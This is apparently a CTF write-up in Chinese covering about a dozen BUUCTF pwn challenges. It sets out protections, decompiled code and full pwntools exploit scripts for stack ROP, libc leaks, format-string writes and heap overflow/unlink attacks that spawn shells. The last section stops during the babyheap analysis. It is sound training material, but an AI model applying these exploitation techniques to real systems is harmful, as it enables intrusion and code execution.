avatar

BUUCTF Pwn WriteUp

[HarekazeCTF2019]baby_rop

1.checksec()

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-10h]

system("echo -n \"What's your name? \"");
__isoc99_scanf("%s", &v4);
printf("Welcome to the Pwn World, %s!\n", &v4);
return 0;
}

scanf的溢出,注意,要溢出的栈+8

3.EXP

from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",29829)

binsh_addr = 0x0601048
sys_addr = 0x00400490
pop_rdi = 0x0400683
payload = 'a'*24 + p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr) + p64(0)
p.sendlineafter("?",payload)
p.interactive()

flag在home文件夹下的文件夹中

[HarekazeCTF2019]baby_rop2

环境:?

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[28]; // [rsp+0h] [rbp-20h]
int v6; // [rsp+1Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("What's your name? ", 0LL);
v3 = read(0, buf, 0x100uLL);
v6 = v3;
buf[v3 - 1] = 0;
printf("Welcome to the Pwn World again, %s!\n", buf);
return 0;
}

printf输出read的真实地址,再ROP

3.EXP

from pwn import *
#from LibcSearcher import *
context.log_level = "debug"
elf=ELF('./babyrop2')
libc = ELF("./libc.so.6")
#p=process('babyrop2')
p=remote('node3.buuoj.cn',28113)

pop_rdi_ret=0x0000000000400733
pop_rsi_r15_ret=0x0000000000400731
format_addr=0x0000000000400790 # %s

printf_plt=elf.plt['printf']
read_got=elf.got['read']
main_plt=elf.sym['main']

payload = "a"*0x28
payload += p64(pop_rdi_ret) + p64(format_addr)
payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(0)
payload += p64(printf_plt) + p64(main_plt)

p.recvuntil("name? ")
p.sendline(payload)

p.recvuntil("!\n")
read_real = u64(p.recv(6).ljust(8,"\x00"))
libc_base = read_real - libc.sym['read']

sys_addr = libc.sym["system"] + libc_base
binsh = libc.search("/bin/sh").next() + libc_base

payload = 'a'*0x28
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(sys_addr)

p.recvuntil("name? ")
p.sendline(payload)
p.interactive()

flag 位置在 /home/babyrop2/

[OGeek2019]babyrop

1.checksec()

Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]

sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}

sub_804871F

int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]

memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
}

sub_80487D0

ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]

if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}

sprintf:sprintf 返回以format为格式argument为内容组成的结果被写入string的字节数,结束字符‘\0’不计入内。即,如果“Hello”被写入空间足够大的string后,函数sprintf 返回5

也就是说第一个是’\0’可以绕过检测
string

LOAD:0804840B	00000006	C	write
LOAD:08048411 0000000F C __gmon_start__
LOAD:08048420 0000000A C GLIBC_2.0
.rodata:08048920 0000000A C Time's up
.rodata:0804892E 00000009 C Correct\n
.rodata:08048937 0000000D C /dev/urandom
.eh_frame:080489C7 00000005 C ;*2$\"

没有/bin/sh,没有system函数,有libc,考虑write泄露libc

3.EXP

from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",28118)
#p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")

write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x08048825

libc_write = libc.sym["write"]
libc_system = libc.sym["system"]
#binsh = next(libc.search('/bin/sh'))
binsh = 0x15902b

payload_1 = '\x00'+ '\xff'*7

paylaod_2 = 'a'*(0xe7+4) + p32(write_plt) + p32(main_addr)
paylaod_2 += p32(1) + p32(write_got) + p32(4)

p.sendline(payload_1)
p.recvuntil("Correct\n")
p.sendline(paylaod_2)

real_write = u32(p.recv(4))
libc_base = real_write - libc_write
real_system = libc_base + libc_system
binsh = binsh + libc_base

payload_1 = '\x00'+ '\xff'*7
payload_3 = 'a'*(0xe7+4) + p32(real_system) + p32(0)
payload_3 += p32(binsh)

p.sendline(payload_1)
p.recvuntil("Correct\n")
p.sendline(payload_3)
p.interactive()

接受的4字节不需要在ljust对齐了

[ZJCTF 2019]EasyHeap

和hitocn trainning magic heap 一样

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

def add(sz,text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)
def edit(idx,text):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(len(text)))
p.sendlineafter(":",str(text))
def free(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

back_door

int l33t()
{
return system("/bin/sh");
}

edit_heap

printf("Size of Heap : ", (char *)&v1 + 4, v1);
read(0, (char *)&v1 + 4, 8uLL);
v2 = atoi((const char *)&v1 + 4);
printf("Content of heap : ", (char *)&v1 + 4, v1);
read_input(heaparray[(signed int)v1], v2);
return puts("Done !");

未控制边界,堆溢出

3.EXP

from pwn import *
context.log_level = "debug"
elf = ELF("./magicheap")
libc = ELF("/home/joe1sn/libc/64/libc-2.23.so")
p = process("./magicheap")
#p = remote("node3.buuoj.cn","25535")

def add(sz,text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)

def edit(idx,text):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(len(text)))
p.sendlineafter(":",str(text))

def free(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

l33t = 0x6020A0
if __name__ == '__main__':
add(0x60,'aaaa')
add(0x60,'aaaa')
add(0x60,'aaaa')

free(2)
edit(1,'a'*0x60+p64(0)+p64(0x71)+p64(l33t-0x13)) #<--控制bk指针

add(0x60,'aaaa') #2
add(0x60,'aaaa') #3 fake_chunk
edit(3,'a'*8)
p.sendlineafter(":",str(0x1305))
p.interactive()

为什么是p64(l33t-0x13)?

经过动态调试得知,该处是unsorted bin链表

为什么edit(3,’a’*8)?

覆写magic的值为‘0x6161616161616161’,从而进入后门

[ZJCTF 2019]Login

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

printf("Please enter username: ", "admin");
User::read_name((User *)&login);
printf("Please enter password: ");
v3 = (void (*)(void))main::{lambda(void)#1}::operator void (*)(void) const();
v7 = password_checker(v3);
User::read_password((User *)&login);
v4 = User::get_password((User *)&v8);
v5 = User::get_password((User *)&login);
password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator() const(
(void (__fastcall ***)(char *))&v7,
(const char *)v5,
(const char *)v4);
return 0;

password_checker

unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator() const(void (__fastcall ***a1)(char *), const char *a2, const char *a3)
{
char s; // [rsp+20h] [rbp-60h]
unsigned __int64 v5; // [rsp+78h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( !strcmp(a2, a3) )
{
snprintf(&s, 0x50uLL, "Password accepted: %s\n", &s);
puts(&s);
(**a1)(&s);
}
else
{
puts("Nope!");
}
return __readfsqword(0x28u) ^ v5;
}

strcmp遇见\x00截断,不会判断之后的字符串,所以这里栈溢出

3.EXP

from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",25930)
back_door = 0x400E88
payload = '2jctf_pa5sw0rd'+"\x00"+'a'*20+"\x00"+'a'*36+p64(back_door)
p.sendlineafter("username: ","admin")
p.sendlineafter("password: ",payload)
p.interactive()

[第五空间2019 决赛]PWN5

环境:ubuntu16

1.checksec()

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main(int a1)
{
unsigned int v1; // eax
int fd; // ST14_4
int result; // eax
int v4; // ecx
unsigned int v5; // et1
char nptr; // [esp+4h] [ebp-80h]
char buf; // [esp+14h] [ebp-70h]
unsigned int v8; // [esp+78h] [ebp-Ch]
int *v9; // [esp+7Ch] [ebp-8h]

v9 = &a1;
v8 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &unk_804C044, 4u);
printf("your name:"); //====+FORMAT+====
read(0, &buf, 0x63u);
printf("Hello,");
printf(&buf);
printf("your passwd:");
read(0, &nptr, 0xFu); // ====+STACK_OVERFLOW+====
if ( atoi(&nptr) == unk_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
v5 = __readgsdword(0x14u);
v4 = v5 ^ v8;
if ( v5 != v8 )
sub_80493D0(v4);
return result;
}

unk_804C044

bss:0804C040 byte_804C040    db ?                    ; DATA XREF: sub_8049140↑o
.bss:0804C040 ; sub_8049140+5↑o ...
.bss:0804C041 align 4
.bss:0804C044 randmon_num db ? ; ; DATA XREF: main+77↑o
.bss:0804C044 ; main+108↑o
.bss:0804C045 db ? ;
.bss:0804C046 db ? ;
.bss:0804C047 db ? ;
.bss:0804C047 _bss ends
.bss:0804C047

bss段的unk_804C044,是随机生成的,而我们猜对了这个参数,就可以执行system("/bin/sh"),刚好字符串格式化漏洞可以实现改写内存地址的值

还有就是不要被开启的canary保护迷惑

3.计算偏移

root@joe1sn:~/download/BUUCTF/PWN5# ./pwn 
your name:aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Hello,aaaa-0xffb44588-0x63-(nil)-(nil)-0x3-0xf7f8c950-0xc2-(nil)-0xc30000-0x61616161-0x2d70252d-0x252d7025-0x70252d70

第一个参数偏移量为10,通过%n修改

%x是吧数据以16进制输出

%n是把已经输出的字符数目输入传来参数的地址中,这就可以使我们修改数据

https://www.cnblogs.com/0xJDchen/p/5904816.html

4.EXP

from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26486)

unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x11111111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x11111111))
p.interactive()

0ctf_2016_warmup

1.checksec

Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

从汇编看有四个函数

Alarm 、Read 、Write 、sys_exit

关于 Alarm 有个特性:

如果有以前为进程登记的尚未超时的闹钟时钟,而且本次调用的seconds值是0,则取消以前的闹钟时钟,其余留值仍作为alarm函数的返回值

那么当 alarm 剩余 5 秒时,更具汇编fastcall,会将return值返回 eax 寄存器中,那么再次使用 sys_call 的时候就会 系统调用 open函数 ,从而读取到falg的值

3.EXP

from pwn import *
name = "warmup"
elf = ELF(name)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = 0

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)

main_addr = 0x804815A
write_addr = 0x8048135
read_addr = 0x804811D
alarm_addr = 0x804810D
data_seg = 0x80491BC
sys_call = 0x804813A

#Step1
#向系统中传递参数 "flag"
payload = 'a'*0x20
payload += p32(read_addr)+p32(main_addr)
payload += p32(0)+p32(data_seg)+p32(0x10)
sh.sendafter("Welcome to 0CTF 2016!\n",payload)

payload = 'flag\x00'
sh.sendlineafter("Good Luck!\n",payload)

#Step2
#0xa-5=5
#这样剩下的就5s了
sleep(5)

#Step3
#再次调用alarm函数就会返回剩余的秒数5到 eax寄存器中
#就会将falg文件读取到 data段
payload = 'a'*0x20
payload += p32(alarm_addr)+p32(sys_call)
payload += p32(main_addr)+p32(data_seg)+p32(0)
sh.send(payload)

#Step4
#从data段中read
payload = 'a'*0x20
payload += p32(read_addr)+p32(main_addr)
payload += p32(3)+p32(data_seg)+p32(0x50)
sh.sendafter("Good Luck!\n",payload)

#Step5
#利用write写出flag
payload = 'a'*0x20
payload += p32(write_addr)+p32(main_addr)
payload += p32(1)+p32(data_seg)+p32(0x50)
sh.sendafter('Good Luck!\n',payload)
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","28290",1,1)

axb_2019_fmt32

1.cheksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2 .IDA

main

while ( 1 )
{
alarm(3u);
memset(&s, 0, 0x101u);
memset(&format, 0, 0x12Cu);
printf("Please tell me:");
read(0, &s, 0x100u);
sprintf(&format, "Repeater:%s\n", &s);
if ( strlen(&format) > 0x10E )
break;
printf(&format);
}

字符串格式化漏洞,但是没有后门,可以选择libc leak+改printf为one gadget

3.EXP

from pwn import *
context.log_level = 'debug'
elf = ELF("./axb_2019_fmt32")
p = remote("node3.buuoj.cn",25318)
libc = ELF("libc-2.23.so")

#0x3a80c execve("/bin/p", esp+0x28, environ)

p.sendlineafter('me:',"%9$sA" + p32(elf.got["printf"]))
p.recvuntil('Repeater:')
printf_got = u32(p.recv(4))

base = printf_got - libc.sym["printf"]
system = base + libc.sym["system"]

log.success("printf addr: %x" , printf_got)
log.success("system addr: %x" , system)
log.success("libc base: %x" , base)
payload ='aaaaa'
payload += fmtstr_payload(9,{0x804A014: (0x3a80c+base)},write_size = "byte",numbwritten = 0xe)
p.sendlineafter("me:",payload)
p.interactive()

axb_2019_heap

1.checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

banner

__isoc99_scanf("%s", &format);
printf("Hello, ", &format);
printf(&format);

存在一个字符串格式化漏洞

main

def add(idx,sz,text):
p.sendlineafter(">>","1")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)

def delete(idx):
p.sendlineafter(">>","2")
p.sendlineafter(":",str(idx))

def edit(idx,text):
p.sendlineafter(">>","4")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",text)

edit_note

if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)&note + 2 * v1) )
{
puts("Enter the content: ");
get_input(*((_QWORD *)&note + 2 * v1), *((_DWORD *)&note + 4 * v1 + 2));
puts("Done!");
}

没有控制范围,堆溢出,利用unlink+free_hook来getshell

3.GDB

在printf处下断点fmtarg查看偏移

stack

gdb-peda$ stack 20
0000| 0x7fffffffde10 --> 0x0
0008| 0x7fffffffde18 --> 0x61616161ffffde30
0016| 0x7fffffffde20 ('a' <repeats 15 times>)
0024| 0x7fffffffde28 --> 0x61616161616161 ('aaaaaaa')
0032| 0x7fffffffde30 --> 0x7fffffffde50 --> 0x555555555200 (<__libc_csu_init>: push r15)
0040| 0x7fffffffde38 --> 0x555555555186 (<main+28>: mov eax,0x0)
0048| 0x7fffffffde40 --> 0x7fffffffdf30 --> 0x1
0056| 0x7fffffffde48 --> 0x0
0064| 0x7fffffffde50 --> 0x555555555200 (<__libc_csu_init>: push r15)
0072| 0x7fffffffde58 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
0080| 0x7fffffffde60 --> 0x1
0088| 0x7fffffffde68 --> 0x7fffffffdf38 --> 0x7fffffffe2a7 ("/home/joe1sn/Documents/question/abx_2019_heap/axb_2019_heap")
0096| 0x7fffffffde70 --> 0x1f7ffcca0
0104| 0x7fffffffde78 --> 0x55555555516a (<main>: push rbp)
0112| 0x7fffffffde80 --> 0x0
0120| 0x7fffffffde88 --> 0xa45414fa738fad69
0128| 0x7fffffffde90 --> 0x555555554980 (<_start>: xor ebp,ebp)
0136| 0x7fffffffde98 --> 0x7fffffffdf30 --> 0x1
0144| 0x7fffffffdea0 --> 0x0
0152| 0x7fffffffdea8 --> 0x0

偏移

gdb-peda$ fmtarg 0x7fffffffde50 #base offset
The index of format argument : 14 ("\%13$p")
gdb-peda$ fmtarg 0x7fffffffde58 #libc offset
The index of format argument : 15 ("\%14$p")

vmmap

0x0000555555554000 0x0000555555556000 r-xp	/home/joe1sn/Documents/question/abx_2019_heap/axb_2019_heap
...........
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
...........
>>> hex(0x7ffff7a2d830 - 0x00007ffff7a0d000) #libc 偏移量
'0x20830'
>>> hex(0x555555555200 - 0x0000555555554000)
'0x1200'

4.EXP

from pwn import *
elf = ELF("./axb_2019_heap")
libc = ELF("/home/joe1sn/libc/64/libc-2.23.so")
p = process("./axb_2019_heap")
#p = remote("node3.buuoj.cn","25618")

def add(idx,sz,text):
p.sendlineafter(">>","1")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)

def delete(idx):
p.sendlineafter(">>","2")
p.sendlineafter(":",str(idx))

def edit(idx,text):
p.sendlineafter(">>","4")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",text)

if __name__ == '__main__':
p.sendlineafter(":","%14$p-%15$p")
p.recvuntil("Hello, ")
axb_leak = int(p.recv(14),16)
p.recvuntil("-")
libc_leak = int(p.recv(14),16)

axb_base = axb_leak-0x1200
libc_base = libc_leak-0x20830
bss_addr = axb_base+0x202060
sys_addr = libc_base+libc.sym["system"]
free_addr = libc_base+libc.sym["__free_hook"]

success("axb base=>0x%x",axb_leak)
success("libc base=>0x%x",libc_base)
success("bss addr=>0x%x",bss_addr)
success("system addr=>0x%x",sys_addr)
success("free addr=>0x%x",free_addr)

add(0,0x98,'0'*0x98)
add(1,0x98,'1111')
add(2,0x90,'2222')
add(3,0x90,'/bin/sh\x00')
# fake chunk fake.sz fake.fd fake.bk repair
payload=p64(0)+p64(0x91)+p64(bss_addr-0x18)+p64(bss_addr-0x10)+p64(0)*14+p64(0x90)+'\xa0'
edit(0,payload)
#gdb.attach(p)
delete(1) #free fake chunk
#gdb.attach(p)
edit(0,p64(0)*3+p64(free_addr)+p64(0x10))#in fake chunks
#gdb.attach(p)
edit(0,p64(sys_addr))#free->got
#gdb.attach(p)
delete(3)
p.interactive()

babyfengshui_33c3_2016

1.checksec

[*] '/home/joe1sn/Documents/ctf/questions/BUUCTF/pwn/babyfengshui_33c3_2016/babyfengshui'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

RELRO: Partial RELRO可以改写GOT表

2.IDA

main

void __cdecl __noreturn main()
{
char v0; // [esp+3h] [ebp-15h]
int v1; // [esp+4h] [ebp-14h]
size_t v2; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x14u);
while ( 1 )
{
puts("0: Add a user");
puts("1: Delete a user");
puts("2: Display a user");
puts("3: Update a user description");
puts("4: Exit");
printf("Action: ");
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: "); // size of chunk
__isoc99_scanf("%u%c", &v2, &v0);
add_usr(v2);
}
if ( v1 == 1 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
delet_usr(v2);
}
if ( v1 == 2 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
display(v2);
}
if ( v1 == 3 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
text_rewrite(v2);
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( (unsigned __int8)byte_804B069 > 0x31u )
{
puts("maximum capacity exceeded, bye");
exit(0);
}
}
exit(1);
}

add_usr

_DWORD *__cdecl add_usr(size_t a1)
{
void *s; // ST24_4
_DWORD *v2; // ST28_4

s = malloc(a1); // 申请的description大小
memset(s, 0, a1);
v2 = malloc(0x80u);
memset(v2, 0, 0x80u); // v2的大小为0x80
*v2 = s;
ptr[(unsigned __int8)byte_804B069] = v2; // 将指针保存至指针数组中
printf("name: ");
sub_80486BB((char *)ptr[(unsigned __int8)byte_804B069] + 4, 0x7C);// fgets 0x7个字符
text_rewrite(++byte_804B069 - 1); // 写入text
return v2;
}

函数首先分配一个description的最大空间,让你后再分配给user结构体的空间,并将user放入store数组中,最后调用更新decription的函数

struct user{
char *desc;
char name[0x7c];
}user;

struct user *store[50];

store放在0x804b080,当前user个数user_num放在0x804b069(byte_804B069)

https://blog.csdn.net/qinying001/article/details/104359401

可以从这篇文章看堆的情况,这里我大致画一下

#code
add_user(0x80, 0x80, 'AAAA') # 0
add_user(0x80, 0x80, 'AAAA') # 1
add_user(0x8, 0x8, '/bin/sh\x00') # 2
=========================================
|| chunk0_desc 0x80 | chunk0_node 0x80 ||
=========================================
|| chunk1_desc 0x80 | chunk1_node 0x80 ||
=========================================
|| chunk2_desc 0x8 | chunk2_node 0x8 ||
=========================================
#code
delete_user(0)
=========================================
|| freed_chunk 0x100 ||
=========================================
|| chunk1_desc 0x80 | chunk1_node 0x80 ||
=========================================
|| chunk2_desc 0x8 | chunk2_node 0x8 ||
=========================================
#code
add_user(0x100, 0x19c, "A"*(0x100+0x80+0x8+0x10) + p32(elf.got['free'])) # 0 *desc->free_got
=======================
|| chunk0_desc 0x100 || <--first fit规则符合
=========================================
|| chunk1_desc 0x80 | chunk1_node 0x80 ||
=========================================
|| chunk2_desc 0x8 | chunk2_node 0x8 ||
=========================================
|| chunk0_node 0x80 || <--被重新分配
=======================

所以我们首先添加两个user,用于绕过检查。

第3个user存放"/bin/sh"。

然后删 掉第1个user,并创建一个description很长的user,其长度是第1个user的description长度加上user结构体长度。这时候检查就绕了,我们可以在添加新user的时候修改description大小,造成堆溢出,并修改第2个user的user>desc为free@got.plt,从而泄漏出libc地址。

得到system地址后,此时修 改第2个user的description,其实是修free的GOT,所以我们将其改成,system@got.plt。

最后删除第3个user,触发system(’/bin/sh’),得到shell

​ ------《ctf_all_in_one》

3.EXP

from pwn import *
context.log_level = 'debug'
io = process('./babyfengshui',env={'LD_PRELOAD':'./libc-2.23.so'})
#io = remote("node3.buuoj.cn",29784)
elf = ELF('babyfengshui')
libc = ELF('libc-2.23.so')

def add_user(size, length, text):
io.sendlineafter("Action: ", '0')
io.sendlineafter("description: ", str(size))
io.sendlineafter("name: ", 'AAAA')
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)

def delete_user(idx):
io.sendlineafter("Action: ", '1')
io.sendlineafter("index: ", str(idx))

def display_user(idx):
io.sendlineafter("Action: ", '2')
io.sendlineafter("index: ", str(idx))

def update_desc(idx, length, text):
io.sendlineafter("Action: ", '3')
io.sendlineafter("index: ", str(idx))
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)

def GDB():
context.terminal = ['tmux','splitw','-h']
gdb.attach(io)

if __name__ == "__main__":
add_user(0x80, 0x80, 'AAAA') # 0
add_user(0x80, 0x80, 'AAAA') # 1
add_user(0x8, 0x8, '/bin/sh\x00') # 2
delete_user(0)
add_user(0x100, 0x19c, "A"*(0x100+0x80+0x8+0x10) + p32(elf.got['free'])) # 0
display_user(1)
io.recvuntil("description: ")
free_addr = u32(io.recvn(4))
system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
log.info("system address: 0x%x" % system_addr)

update_desc(1, 0x4, p32(system_addr))
#desc->[free]<-system
delete_user(2)
#free(*desc)-->system("/bin/sh\x00")
io.interactive()

babyheap_0ctf_2017

1.checksec

[*] '/home/joe1sn/Documents/ctf/questions/BUUCTF/pwn/babyheap_0ctf_2017/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-8h]

v4 = sub_B70(a1, a2, a3);
while ( 1 )
{
menu();
input(); // input
switch ( (unsigned __int64)off_14F4 )
{
case 1uLL:
Allocate(v4);
break;
case 2uLL:
Fill(v4);
break;
case 3uLL:
Free(v4);
break;
case 4uLL:
Dump(v4);
break;
case 5uLL:
return 0LL;
default:
continue;
}
}
}

Fill

__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = input();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = input();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}

没有检查堆是否溢出

Free

__int64 __fastcall Free(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = input();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}

没有system,leak libc + malloc_hook(无法修改GOT表)

one_gadget

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

main_arena_offset

[+]libc version : glibc 2.23
[+]build ID : BuildID[sha1]=1ca54a6e0d76188105b12e49fe6b8019bf08803a
[+]main_arena_offset : 0x3c4b20

3.GDB

3.1 libc leak

一般采取堆块重叠后,free()加入unsorted bin最后dump出unsorted bin的地址,根据libc中与main_arena的偏移得到libc_base

#code:
Allocate(0x60)
Allocate(0x30)
Fill(0,"a"*0x60+p64(0)+p64(0x71)) <--修改idx=1的chunks size
Allocate(0x100) #idx=2 <--堆重叠了
Fill(2,"a"*0x20+p64(0)+p64(0x71)) <--idx=2的BK_nextsize位修改
Free(1) <--加入fastbin链表(free()的还是0x30大小)
Allocate(0x60)#idx=1 <--堆溢出
Fill(1,"a"*0x30+p64(0)+p64(0x111))<--堆修复
Allocate(0x60)#idx=3 <--和top_chunk分隔
Free(2)
GDB()
leak = u64(Dump(1)[-25:-17])
print "leak:"+hex(leak)

base=leak-0x3c4b78
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
gef➤  heap chunks
Chunk(addr=0x55754fefb010, size=0x70, flags=PREV_INUSE)
[0x000055754fefb010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa]
Chunk(addr=0x55754fefb080, size=0x70, flags=PREV_INUSE)
[0x000055754fefb080 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa]
Chunk(addr=0x55754fefb0f0, size=0x70, flags=PREV_INUSE)
[0x000055754fefb0f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
───────────── Unsorted Bin for arena 'main_arena' ─────────────
[+] unsorted_bins[0]: fw=0x55754fefb0b0, bk=0x55754fefb0b0
→ Chunk(addr=0x55754fefb0c0, size=0x110, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
gef➤  x/45gx 0x55de8a864000
0x55de8a864000: 0x0000000000000000 0x0000000000000071
0x55de8a864010: 0x6161616161616161 0x6161616161616161
0x55de8a864020: 0x6161616161616161 0x6161616161616161
0x55de8a864030: 0x6161616161616161 0x6161616161616161
0x55de8a864040: 0x6161616161616161 0x6161616161616161
0x55de8a864050: 0x6161616161616161 0x6161616161616161
0x55de8a864060: 0x6161616161616161 0x6161616161616161
0x55de8a864070: 0x0000000000000000 0x0000000000000071
0x55de8a864080: 0x6161616161616161 0x6161616161616161
0x55de8a864090: 0x6161616161616161 0x6161616161616161
0x55de8a8640a0: 0x6161616161616161 0x6161616161616161
0x55de8a8640b0: 0x0000000000000000 0x0000000000000111
0x55de8a8640c0: 0x00007fa305c4ab78 0x00007fa305c4ab78 <---unsorted bin
0x55de8a8640d0: 0x0000000000000000 0x0000000000000000
0x55de8a8640e0: 0x0000000000000000 0x0000000000000071
0x55de8a8640f0: 0x0000000000000000 0x0000000000000000
0x55de8a864100: 0x0000000000000000 0x0000000000000000
0x55de8a864110: 0x0000000000000000 0x0000000000000000
